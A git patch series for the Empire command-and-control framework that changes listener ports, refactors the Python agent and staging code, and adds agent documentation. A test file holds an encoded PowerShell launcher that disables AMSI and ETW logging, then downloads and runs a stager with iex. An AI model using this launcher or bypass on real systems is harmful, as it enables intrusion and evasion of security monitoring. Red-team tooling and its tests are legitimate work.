From 7f60494475c8312cd8828483e8d2185424ce3169 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Sat, 28 Oct 2023 12:14:05 -0400 Subject: [PATCH 01/29] Updated listeners to consistently use port 80 and 443 for HTTP traffic by default (#710) * updated listener ports to 80 and 443 * fixed pytests * changelog * update listener validation test to tests a different validation --------- Co-authored-by: Vince Rose --- CHANGELOG.md | 2 ++ empire/server/listeners/http.py | 4 ++-- empire/server/listeners/http_com.py | 4 ++-- empire/server/listeners/http_foreign.py | 3 ++- empire/server/listeners/http_hop.py | 3 ++- empire/server/listeners/http_malleable.py | 3 ++- empire/test/conftest.py | 4 ++-- empire/test/test_listener_api.py | 7 +++++-- empire/test/test_stager_api.py | 2 +- 9 files changed, 20 insertions(+), 12 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5f90d29ec..5e0906b3d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +- Updated listeners to consistently use port 80 and 443 for HTTP traffic by default (@Cx01N) + ## [5.7.3] - 2023-10-17 - Fixed global obfuscation not working on modules (@Cx01N) diff --git a/empire/server/listeners/http.py b/empire/server/listeners/http.py index 40d997d08..f88a9a9c5 100755 --- a/empire/server/listeners/http.py +++ b/empire/server/listeners/http.py @@ -66,8 +66,8 @@ def __init__(self, mainMenu: MainMenu): "Port": { "Description": "Port for the listener.", "Required": True, - "Value": "", - "SuggestedValues": ["1335", "1336"], + "Value": "80", + "SuggestedValues": ["80", "443"], }, "Launcher": { "Description": "Launcher string.", diff --git a/empire/server/listeners/http_com.py b/empire/server/listeners/http_com.py index a6e344830..30dc5577a 100755 --- a/empire/server/listeners/http_com.py +++ b/empire/server/listeners/http_com.py @@ -65,8 +65,8 @@ def __init__(self, mainMenu: MainMenu): "Port": { "Description": "Port for the listener.", "Required": True, - "Value": "", - "SuggestedValues": ["1335", "1336"], + "Value": "80", + "SuggestedValues": ["80", "443"], }, "Launcher": { "Description": "Launcher string.", diff --git a/empire/server/listeners/http_foreign.py b/empire/server/listeners/http_foreign.py index 3a2347234..1bf87b043 100755 --- a/empire/server/listeners/http_foreign.py +++ b/empire/server/listeners/http_foreign.py @@ -49,7 +49,8 @@ def __init__(self, mainMenu: MainMenu): "Port": { "Description": "Port for the listener.", "Required": True, - "Value": "", + "Value": "80", + "SuggestedValues": ["80", "443"], }, "Launcher": { "Description": "Launcher string.", diff --git a/empire/server/listeners/http_hop.py b/empire/server/listeners/http_hop.py index 07ca01b99..b5a4ea2b2 100755 --- a/empire/server/listeners/http_hop.py +++ b/empire/server/listeners/http_hop.py @@ -66,7 +66,8 @@ def __init__(self, mainMenu: MainMenu): "Port": { "Description": "Port for the listener.", "Required": True, - "Value": "", + "Value": "80", + "SuggestedValues": ["80", "443"], }, "DefaultProfile": { "Description": "Default communication profile for the agent, extracted from RedirectListener automatically.", diff --git a/empire/server/listeners/http_malleable.py b/empire/server/listeners/http_malleable.py index c819bcd96..0e6551ea0 100644 --- a/empire/server/listeners/http_malleable.py +++ b/empire/server/listeners/http_malleable.py @@ -72,7 +72,8 @@ def __init__(self, mainMenu: MainMenu): "Port": { "Description": "Port for the listener.", "Required": True, - "Value": 80, + "Value": "80", + "SuggestedValues": ["80", "443"], }, "Profile": { "Description": "Malleable C2 profile to describe comms.", diff --git a/empire/test/conftest.py b/empire/test/conftest.py index 60ca6044e..1c32585b6 100644 --- a/empire/test/conftest.py +++ b/empire/test/conftest.py @@ -203,9 +203,9 @@ def base_listener_non_fixture(): "template": "http", "options": { "Name": "new-listener-1", - "Host": "http://localhost:1336", + "Host": "http://localhost:80", "BindIP": "0.0.0.0", - "Port": "1336", + "Port": "80", "Launcher": "powershell -noP -sta -w 1 -enc ", "StagingKey": "2c103f2c4ed1e59c0b4e2e01821770fa", "DefaultDelay": "5", diff --git a/empire/test/test_listener_api.py b/empire/test/test_listener_api.py index 829612b2a..204200691 100644 --- a/empire/test/test_listener_api.py +++ b/empire/test/test_listener_api.py @@ -250,7 +250,7 @@ def test_update_listener_reverts_if_validation_fails( assert response.json()["enabled"] is False listener = response.json() - del listener["options"]["Port"] + listener["options"]["DefaultJitter"] = "Invalid" listener["options"]["BindIP"] = "1.1.1.1" response = client.put( f"/api/v2/listeners/{listener['id']}", @@ -258,7 +258,10 @@ def test_update_listener_reverts_if_validation_fails( json=listener, ) assert response.status_code == 400 - assert response.json()["detail"] == "required option missing: Port" + assert ( + response.json()["detail"] + == "incorrect type for option DefaultJitter. Expected but got " + ) response = client.get( f"/api/v2/listeners/{listener['id']}", headers=admin_auth_header diff --git a/empire/test/test_stager_api.py b/empire/test/test_stager_api.py index df93f1a8c..245dd08e3 100644 --- a/empire/test/test_stager_api.py +++ b/empire/test/test_stager_api.py @@ -458,7 +458,7 @@ def _expected_http_bat_launcher(): return dedent( """ @echo off - start /B powershell.exe -nop -ep bypass -w 1 -enc WwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAEUAdgBlAG4AdABpAG4AZwAuAEUAdgBlAG4AdABQAHIAbwB2AGkAZABlAHIAXQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAbQBfAGUAbgBhAGIAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABJAG4AcwB0AGEAbgBjAGUAJwApAC4AUwBlAHQAVgBhAGwAdQBlACgAWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAFQAcgBhAGMAaQBuAGcALgBQAFMARQB0AHcATABvAGcAUAByAG8AdgBpAGQAZQByACcAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAZQB0AHcAUAByAG8AdgBpAGQAZQByACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4ARwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACkALAAwACkAOwAkAFIAZQBmAD0AWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQA7ACQAUgBlAGYALgBHAGUAdABGAGkAZQBsAGQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQB0AHYAYQBsAHUAZQAoACQATgB1AGwAbAAsACQAdAByAHUAZQApADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQATgBlAHQAdwBvAHIAawBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOwBpAHcAcgAoACcAaAB0AHQAcAA6AC8ALwBsAG8AYwBhAGwAaABvAHMAdAA6ADEAMwAzADYALwBkAG8AdwBuAGwAbwBhAGQALwBwAG8AdwBlAHIAcwBoAGUAbABsAC8AJwApAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAfABpAGUAeAA= + start /B powershell.exe -nop -ep bypass -w 1 -enc WwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAEUAdgBlAG4AdABpAG4AZwAuAEUAdgBlAG4AdABQAHIAbwB2AGkAZABlAHIAXQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAbQBfAGUAbgBhAGIAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABJAG4AcwB0AGEAbgBjAGUAJwApAC4AUwBlAHQAVgBhAGwAdQBlACgAWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAFQAcgBhAGMAaQBuAGcALgBQAFMARQB0AHcATABvAGcAUAByAG8AdgBpAGQAZQByACcAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACcAZQB0AHcAUAByAG8AdgBpAGQAZQByACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4ARwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACkALAAwACkAOwAkAFIAZQBmAD0AWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQA7ACQAUgBlAGYALgBHAGUAdABGAGkAZQBsAGQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQB0AHYAYQBsAHUAZQAoACQATgB1AGwAbAAsACQAdAByAHUAZQApADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQATgBlAHQAdwBvAHIAawBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOwBpAHcAcgAoACcAaAB0AHQAcAA6AC8ALwBsAG8AYwBhAGwAaABvAHMAdAA6ADgAMAAvAGQAbwB3AG4AbABvAGEAZAAvAHAAbwB3AGUAcgBzAGgAZQBsAGwALwAnACkALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwB8AGkAZQB4AA== timeout /t 1 > nul del "%~f0" """ From 5a6e73701505ea07b0e354d9e3fb33c72140c6b8 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Sat, 28 Oct 2023 12:15:02 -0400 Subject: [PATCH 02/29] Python and IronPython Agent Reformat (#694) * separated out packet types to functions * fixed task 40 with same function name * initial mainagent class built * more ipy updates for mainagent * added core functions to mainagent and moved out packethandler * moved rc4 to packethandler * added todo * Update http.py * fix some mainagent mistakes * moved packethandler to rc4.py * reorganized staging for http listener * extended packethandler class to include comms * removed global variables from comms * removed redundant packet_handler in staging and agent * fixed killdate and workinghours * removed redundant entries of workinghours and killdate, removed update_proxies since its unused and a problem with ipy * dropbox staging updates * malleable c2 updates - agent dies after initial checkin * comms updates - still error * fixed malleable ipy * fixed dropbox * dropbox error 404 * fixed dbx listener api * formatting * smb fixes * fixed process job taskings * updated stageless to work with new ipy formats * updated python agent to new formatting * initial agent docs * Update CHANGELOG.md * fixed python get_sysinfo task * added auto sysinfo for stageless agents * Update CHANGELOG.md * Update empire/server/common/stagers.py Co-authored-by: Vincent Rose * added docs to summary.md * moved execute_function util to stagers --------- Co-authored-by: Vincent Rose --- CHANGELOG.md | 6 +- docs/SUMMARY.md | 6 + docs/agents/README.md | 29 + docs/agents/python/README.md | 89 + .../python/extendedpackethandlerclass.md | 40 + docs/agents/python/mainagentclass.md | 43 + docs/agents/python/packethandlerclass.md | 48 + docs/agents/python/stageclass.md | 73 + empire/server/common/stagers.py | 31 +- empire/server/data/agent/agent.py | 2223 +++++++++-------- empire/server/data/agent/ironpython_agent.py | 2002 ++++++++------- .../data/agent/stagers/common/get_sysinfo.py | 7 +- .../server/data/agent/stagers/common/rc4.py | 469 ++-- .../data/agent/stagers/common/sockschain.py | 1424 ----------- .../data/agent/stagers/dropbox/comms.py | 163 +- .../data/agent/stagers/dropbox/dropbox.py | 204 +- .../server/data/agent/stagers/http/comms.py | 180 +- empire/server/data/agent/stagers/http/http.py | 158 +- .../stagers/http_malleable/http_malleable.py | 154 +- empire/server/data/agent/stagers/smb/comms.py | 166 +- empire/server/data/agent/stagers/smb/smb.py | 182 +- empire/server/listeners/http.py | 20 +- empire/server/listeners/http_malleable.py | 205 +- empire/server/listeners/smb.py | 24 +- 24 files changed, 3525 insertions(+), 4421 deletions(-) create mode 100644 docs/agents/README.md create mode 100644 docs/agents/python/README.md create mode 100644 docs/agents/python/extendedpackethandlerclass.md create mode 100644 docs/agents/python/mainagentclass.md create mode 100644 docs/agents/python/packethandlerclass.md create mode 100644 docs/agents/python/stageclass.md delete mode 100644 empire/server/data/agent/stagers/common/sockschain.py diff --git a/CHANGELOG.md b/CHANGELOG.md index 5e0906b3d..ec74af9aa 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +- Modernized the Python and IronPython agents with new agent and staging code (@Cx01N) +- Added automatic tasking for sysinfo for stageless agents (@Cx01N) - Updated listeners to consistently use port 80 and 443 for HTTP traffic by default (@Cx01N) ## [5.7.3] - 2023-10-17 @@ -604,9 +606,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Updated shellcoderdi to newest version (@Cx01N) - Added a Nim launcher (@Hubbl3) -[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.7.3...HEAD - -[5.7.3]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.7.2...v5.7.3 +[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.7.2...HEAD [5.7.2]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.7.1...v5.7.2 diff --git a/docs/SUMMARY.md b/docs/SUMMARY.md index 303103be9..c4b7552ed 100644 --- a/docs/SUMMARY.md +++ b/docs/SUMMARY.md @@ -39,4 +39,10 @@ * [PowerShell Modules](module-development/powershell-modules.md) * [Python Modules](module-development/python-modules.md) * [C# Modules](module-development/c-modules.md) +* [Agents](agents/README.md) + * [Python](agents/python/README.md) + * [Main Agent Class](agents/python/mainagentclass.md) + * [Stage Class](agents/python/stageclass.md) + * [Packet Handler Class](agents/python/packethandlerclass.md) + * [Extended Packet Handler Class](agents/python/extendedpackethandlerclass.md) * [Release Notes](release-notes.md) diff --git a/docs/agents/README.md b/docs/agents/README.md new file mode 100644 index 000000000..c16965fa8 --- /dev/null +++ b/docs/agents/README.md @@ -0,0 +1,29 @@ +# Empire Agents Overview +This page provides an in-depth overview of the different agents available within Empire, including their capabilities, features, and usage scenarios. + +## IronPython Agent +IronPython brings the Python language to the .NET framework. The IronPython agent leverages this to execute Python scripts using .NET, bypassing restrictions on native Python interpreters. Additional documentation on the agent can be found [here](./python/README.md). + +### Features +- Executes in a .NET context, allowing for unique evasion techniques. +- Can interface with .NET libraries directly from Python code. +- Runs Python, C#, and PowerShell taskings. + +## Python Agent +The Python agent offers cross-platform capabilities for targeting non-Windows systems, such as Linux and macOS. Additional documentation on the agent can be found [here](./python/README.md). + +## Features +- Cross-platform for Linux and macOS. + +## PowerShell Agent +The PowerShell agent is the original agent for Empire. + +# Features: +- Reflectively loads into memory. +- Can run C# and PowerShell taskings. + +## C# Agent +The C# agent leverages [Sharpire](https://github.com/BC-SECURITY/Sharpire) as the implant. + +### Features +- Can run C# and PowerShell taskings. diff --git a/docs/agents/python/README.md b/docs/agents/python/README.md new file mode 100644 index 000000000..b57c2ce4b --- /dev/null +++ b/docs/agents/python/README.md @@ -0,0 +1,89 @@ +# Python & IronPython Agents + +The agents are built in Python and IronPython to provide flexibility and extensibility for a variety of scenarios and environments. + +## Prerequisites + +- Python 3.x (for the Python agent) +- IronPython 3.4+ (for the IronPython agent) + +## Dependencies + +The agent incorporates multiple external Python functionalities, sourced via Jinja2 templates: + +```python +{% include 'common/aes.py' %} +{% include 'common/rc4.py' %} +{% include 'common/diffiehellman.py' %} +{% include 'common/get_sysinfo.py' %} +{% include 'http/comms.py' %} +``` + +These functionalities provide: +- AES & RC4 Encryption: For encrypted communications. +- Diffie-Hellman Key Exchange: Secure establishment of a shared secret key. +- System Information: Gather details about the host system. +- HTTP Communication Methods: Communication methods tailored for HTTP. (Can be customized with other listener options) + +### IronPython Dependencies +The IronPython agent will also use custom libraries that are added to lib.zip which include: +- [SecretSocks](https://github.com/BC-SECURITY/PySecretSOCKS) + +## Staging Process +Staging is the agent's initial phase, where it communicates with the server and prepares for secure interactions. During the staging process initial staging information is provided and used to create a secure communication channel. + +``` ++------------+ +------------+ +----------------+ +------------+ +| Client | | C2 | | Stager | | Agent | ++------------+ +------------+ +----------------+ +------------+ + | | | | + | | | | + | Request Staging | | | + |------------------------->| | | + | | | | + | | Generate Staging Key | | + | | & Profile (AES/HMAC) | | + | |------------------------->| | + | | | | + | Send Staging Key & | | | + | Profile | | | + |<-------------------------| | | + | | | | + | | | Decrypt Staging Profile | + | | |<---------------------------| + | | | | + | | | Generate Diffie-Hellman | + | | | (AES Session Key) | + | | |<---------------------------| + | | | | + | | | | + | | | | Decrypt + | | | | Tasking + | | | | using AES + | | | | Session Key + | | | |<-------| + | | | | + | | | | Execute + | | | | Tasks + | | | |<-------| +``` + +1. Client → C2: The client requests the staging code. +2. C2: The Command and Control (C2) server generates a staging key and a profile for the client. This staging key is usually encrypted using symmetric encryption like AES and is HMAC protected. +3. C2 → Client: The server sends the encrypted staging key and profile to the client. +4. Stager: The stager decrypts the staging profile and initiates a Diffie-Hellman key exchange process. This results in the creation of an AES session key that will be used for future communications. +5. Agent: When the stager receives tasking, it decrypts the tasking using the AES session key. Then the agent executes the decrypted tasks. + +In this process, multiple encryption schemes are at play: +- AES/HMAC: Used to encrypt the staging key and ensure its integrity. +- Diffie-Hellman: Used to securely negotiate an AES session key for encrypted communications between the stager/agent and the C2 server. + +## Components + +- **[Stage](stageclass.md)**: Handles the initial communication with the C2 server and sets up the main agent for execution. + +- **[MainAgent](mainagentclass.md)**: The core of the agent's functionality, it continuously communicates with the server, processes commands, and returns results. + +- **[PacketHandler](packethandlerclass.md) & [ExtendedPacketHandler](extendedpackethandlerclass.md)**: Manages the encrypted communication between the agent and the server. + + diff --git a/docs/agents/python/extendedpackethandlerclass.md b/docs/agents/python/extendedpackethandlerclass.md new file mode 100644 index 000000000..ce9435548 --- /dev/null +++ b/docs/agents/python/extendedpackethandlerclass.md @@ -0,0 +1,40 @@ +# ExtendedPacketHandler Class + +`ExtendedPacketHandler` is a subclass of `PacketHandler`. While `PacketHandler` focuses on managing packet structure and encryption, `ExtendedPacketHandler` extends this functionality by introducing specific methods to interact with the command and control server using HTTP requests. It integrates communication profiles to make these interactions customizable. + +## Attributes +The attributes for `ExtendedPacketHandler` depend on the agent's communication profile, but can look similar to below for an HTTP listener. +- **headers**: The HTTP headers to use in requests. Derived from the agent's communication profile. +- **taskURIs**: The list of potential URI endpoints for tasking. Randomly sampled to vary the request patterns. +- **server**: The base URL of the command and control server. + +## Methods + +### `post_message(uri, data)` + +Sends a POST request to the specified `uri` with the provided `data`, using the communication profile's headers. Returns the server's response. + +### `send_results_for_child(received_data)` + +Forwards tasking results to the control server for SMB agents. It uses a random taskURI and sets a session cookie in the headers based on `received_data`. + +### `send_get_tasking_for_child(received_data)` + +Forwards the get-tasking request to the control server for SMB agents, with data decoded from `received_data`. + +### `send_staging_for_child(received_data, hop_name)` + +Forwards the staging request to the control server using a specific URI (`/login/process.php`) for SMB agents. Additionally, it sets the 'Hop-Name' in the headers. + +### `send_message(packets=None)` + +If `packets` is not provided, it constructs a GET request to fetch tasking from the control server. If `packets` is provided, it constructs a POST request to send data to the server. It chooses a random taskURI for the request and manages error handling for server communication issues. + +## Usage Example + +To use `ExtendedPacketHandler`, you need to instantiate it with the right parameters, including the agent instance, staging key, session ID, and the communication profile details (headers, taskURIs, server). + +```python +handler = ExtendedPacketHandler(agent_instance, "sample_staging_key", "sample_session_id", headers, server, taskURIs) +response = handler.post_message("/some/endpoint", "some_data") +``` diff --git a/docs/agents/python/mainagentclass.md b/docs/agents/python/mainagentclass.md new file mode 100644 index 000000000..37205cea3 --- /dev/null +++ b/docs/agents/python/mainagentclass.md @@ -0,0 +1,43 @@ +## MainAgent Class + +The `MainAgent` class represents the core functionality of the agent after the initial staging process. It handles tasking, command execution, results posting, and overall agent lifecycle management. + +### Attributes + +- **packet_handler**: An instance of a packet handler class, such as `ExtendedPacketHandler`, which facilitates communication with the command and control server. +- **profile**: The communication profile string, inherited from the staging process, that determines the agent's network signatures. +- **server**: The base URL of the command and control server. +- **session_id**: A unique identifier for the agent's session. +- **kill_date**: The date upon which the agent will automatically cease operations. +- **working_hours**: A window of time during which the agent is allowed to operate. + +### Methods + +#### `check_in()` + +Communicates with the command and control server to check for any new tasking or commands that should be executed. + +#### `process_packet(packet_type, data, result_id)` + +Processes an individual packet of data, potentially executing a command, and then returning the result. The specific behavior is determined by the `packet_type`. + +#### `execute_command(command)` + +Executes a given command on the host system, capturing any output or errors, and then returning the result. + +#### `send_results(result)` + +Packages up the result of a command and sends it to the command and control server using the `packet_handler`. + +#### `run()` + +The main loop of the agent, which continually checks in with the server for new commands, executes them, and returns results. This loop will typically continue until the `kill_date` is reached or another termination condition is met. + +### Usage Example + +To use the `MainAgent` class, it's typically instantiated within the `Stage` class after the initial staging process: + +```python +agent = MainAgent(packet_handler=packetHandlerInstance, profile=profile, server=server, session_id=session_id, kill_date=kill_date, working_hours=working_hours) +agent.run() +``` \ No newline at end of file diff --git a/docs/agents/python/packethandlerclass.md b/docs/agents/python/packethandlerclass.md new file mode 100644 index 000000000..cdb5f7789 --- /dev/null +++ b/docs/agents/python/packethandlerclass.md @@ -0,0 +1,48 @@ +# PacketHandler Class + +The `PacketHandler` class is responsible for creating, parsing, and processing packets for agent-server communication. This includes encrypting/decrypting packets, extracting metadata, and routing tasking. + +## Attributes + +- **agent**: An instance of the main agent. +- **key**: Encryption key for the current session. +- **staging_key**: Key used during the staging process. +- **session_id**: Unique identifier for the current session. +- **missedCheckins**: Counter for failed check-ins. +- **language_list**: Dictionary linking programming languages to unique IDs. +- **meta**: Defines metadata types for packets. +- **additional**: Empty dictionary, can be populated with additional metadata. + +## Methods + +### `rc4(key, data)` + +Encrypts or decrypts the input `data` with the given `key` using the RC4 algorithm. + +### `parse_routing_packet(staging_key, data)` + +Parses the encrypted agent data from a routing packet, which includes session ID, language, metadata type, and the encrypted data. The function returns a dictionary with session IDs as keys and tuples (language, metadata, additional data, encrypted data) as values. + +### `build_routing_packet(staging_key, session_id, meta, additional, enc_data)` + +Builds a packet for agent communication, including a unique session ID, metadata, and encrypted data. + +### `decode_routing_packet(data)` + +Parses all routing packets and processes packets specific to the agent's session ID. + +### `build_response_packet(tasking_id, packet_data, result_id)` + +Constructs a task packet for the agent, which includes packet type, task ID, and the actual data. + +### `parse_task_packet(packet, offset)` + +Parses a packet to extract various details such as packet type, task ID, and data. Returns a tuple with all the extracted details. + +### `process_tasking(data)` + +Processes an encrypted packet by decrypting it, extracting the packets, and directing the agent to execute them. + +### `process_job_tasking(result)` + +Processes job data packets, mainly sending results back to the Command & Control server. \ No newline at end of file diff --git a/docs/agents/python/stageclass.md b/docs/agents/python/stageclass.md new file mode 100644 index 000000000..29eebf459 --- /dev/null +++ b/docs/agents/python/stageclass.md @@ -0,0 +1,73 @@ +## Stage Class + +The `Stage` class is responsible for managing the agent's initial communication with the command and control server, including the setup of encryption keys and system information exchange. It acts as the bootstrap mechanism for the agent, setting up all necessary configurations for secure and covert operations. + +### Attributes + +- **staging_key**: A pre-shared key used for initial secure communications during the staging process. +- **profile**: The communication profile string that defines how the agent should communicate (headers, user-agents, etc.). +- **server**: The base URL of the command and control server. +- **kill_date**: The date on which the agent will automatically cease operations. +- **working_hours**: A time window during which the agent is allowed to operate. +- **session_id**: A randomly generated session identifier for the agent. +- **key**: The encryption key that will be derived from the Diffie-Hellman key exchange. +- **headers**: The HTTP headers that the agent will use, derived from the communication profile. +- **packet_handler**: An instance of the packet handler (likely `ExtendedPacketHandler`) which will handle the packet-level operations like encryption, routing, etc. +- **taskURIs**: A list of potential URIs the agent can use to fetch tasking or communicate results. + +## Dependencies + +The agent incorporates multiple external Python functionalities, sourced via Jinja2 templates: + +```python +{% include 'common/aes.py' %} +{% include 'common/rc4.py' %} +{% include 'common/diffiehellman.py' %} +{% include 'common/get_sysinfo.py' %} +{% include 'http/comms.py' %} +``` + +These functionalities provide: +- AES & RC4 Encryption: For encrypted communications. +- Diffie-Hellman Key Exchange: Secure establishment of a shared secret key. +- System Information: Gather details about the host system. +- HTTP Communication Methods: Communication methods tailored for HTTP. (Can be customized with other listener options) + +## Staging Process +Staging is the agent's initial phase, where it communicates with the server and prepares for secure interactions. During the staging process initial staging information is provided and used to create a secure communication channel. This information is provided through a jinja profile such as: + +```python +self.staging_key = b'{{ staging_key }}' +self.profile = '{{ profile }}' +self.server = '{{ host }}' +self.kill_date = '{{ kill_date }}' +self.working_hours = '{{ working_hours }}' +``` + +### Methods + +#### `generate_session_id()` + +Generates a random session identifier for the agent. This ensures each agent instance has a unique identifier during its operation. + +#### `initialize_headers(profile)` + +Parses the communication profile string to extract and set up the HTTP headers for the agent. + +#### `execute()` + +The main method responsible for: + +1. Initiating the Diffie-Hellman key exchange with the server. +2. Sending system information to the server. +3. Decrypting the agent code received from the server. +4. Executing the agent code and initializing the main agent operations. + +### Usage Example + +To use the `Stage` class, instantiate it and then call the `execute` method. This will initiate the staging process: + +```python +stager = Stage() +stager.execute() +``` \ No newline at end of file diff --git a/empire/server/common/stagers.py b/empire/server/common/stagers.py index 27931d2a6..50240afbf 100755 --- a/empire/server/common/stagers.py +++ b/empire/server/common/stagers.py @@ -770,6 +770,9 @@ def generate_stageless(self, options): architecture="AMD64", ) + # Send initial task for sysinfo into the database + self.mainMenu.agenttasksv2.create_task_sysinfo(db, agent, 0) + # get the agent's session key session_key = agent.session_key @@ -798,17 +801,33 @@ def generate_stageless(self, options): elif options["Language"]["Value"] in ["python", "ironpython"]: stager_code = stager_code.replace( - "b''.join(random.choice(string.ascii_uppercase + string.digits).encode('UTF-8') for _ in range(8))", - f"b'{session_id}'", + "return b''.join(random.choice(string.ascii_uppercase + string.digits).encode('UTF-8') for _ in range(8))", + f"return b'{session_id}'", ) - stager_code = stager_code.split("clientPub=DiffieHellman()")[0] - stager_code = stager_code + f"\nkey = b'{session_key}'" + + stager_code = replace_execute_function(stager_code, session_key) launch_code = "" if active_listener.info["Name"] == "HTTP[S] MALLEABLE": full_agent = "\n".join( - [stager_code, agent_code, comms_code, launch_code] + [agent_code, stager_code, comms_code, launch_code] ) else: - full_agent = "\n".join([stager_code, agent_code, launch_code]) + full_agent = "\n".join([agent_code, stager_code, launch_code]) return full_agent + + +def replace_execute_function(code, session_key): + code_first = code.split("def execute(self):")[0] + code_last = code.split("agent.run()")[1] + + new_function = f""" + def execute(self): + self.key = b'{session_key}' + self.packet_handler.key = self.key + agent = MainAgent(packet_handler=self.packet_handler, profile=self.profile, server=self.server, session_id=self.session_id, kill_date=self.kill_date, working_hours=self.working_hours) + self.packet_handler.agent = agent + agent.run() +""" + + return code_first + new_function + code_last diff --git a/empire/server/data/agent/agent.py b/empire/server/data/agent/agent.py index 4983ddd0d..862e42721 100644 --- a/empire/server/data/agent/agent.py +++ b/empire/server/data/agent/agent.py @@ -4,9 +4,9 @@ import http.server import io import json -import math import numbers import os +import platform import pwd import random import re @@ -18,6 +18,7 @@ import sys import threading import time +import traceback import types import zipfile import zlib @@ -25,1268 +26,1314 @@ from os.path import expanduser from threading import Thread +import secretsocks + ################################################ # # agent configuration information # ################################################ - -# print "starting agent" - -# profile format -> -# tasking uris | user agent | additional header 1 | additional header 2 | ... -profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" - -if server.endswith("/"): - server = server[0:-1] - -delay = 60 -jitter = 0.0 -lostLimit = 60 -missedCheckins = 0 -jobMessageBuffer = "" -currentListenerName = "" -sendMsgFuncCode = "" -proxy_list = [] - -# killDate form -> "MO/DAY/YEAR" -killDate = "REPLACE_KILLDATE" -# workingHours form -> "9:00-17:00" -workingHours = "REPLACE_WORKINGHOURS" - -parts = profile.split("|") -taskURIs = parts[0].split(",") -userAgent = parts[1] -headersRaw = parts[2:] - -defaultResponse = base64.b64decode("") - -jobs = {} moduleRepo = {} _meta_cache = {} -# global header dictionary -# sessionID is set by stager.py -# headers = {'User-Agent': userAgent, "Cookie": "SESSIONID=%s" %(sessionID)} -headers = {"User-Agent": userAgent} -# parse the headers into the global header dictionary -for headerRaw in headersRaw: - try: - headerKey, headerValue = headerRaw.split(":")[:2] +def old_div(a, b): + """ + Equivalent to ``a / b`` on Python 2 without ``from __future__ import + division``. + """ + if isinstance(a, numbers.Integral) and isinstance(b, numbers.Integral): + return a // b + else: + return a / b - if headerKey.lower() == "cookie": - headers["Cookie"] = "%s;%s" % (headers["Cookie"], headerValue) - else: - headers[headerKey] = headerValue - except: - pass ################################################ # -# encryption methods +# Custom Import Hook +# #adapted from https://github.com/sulinx/remote_importer # 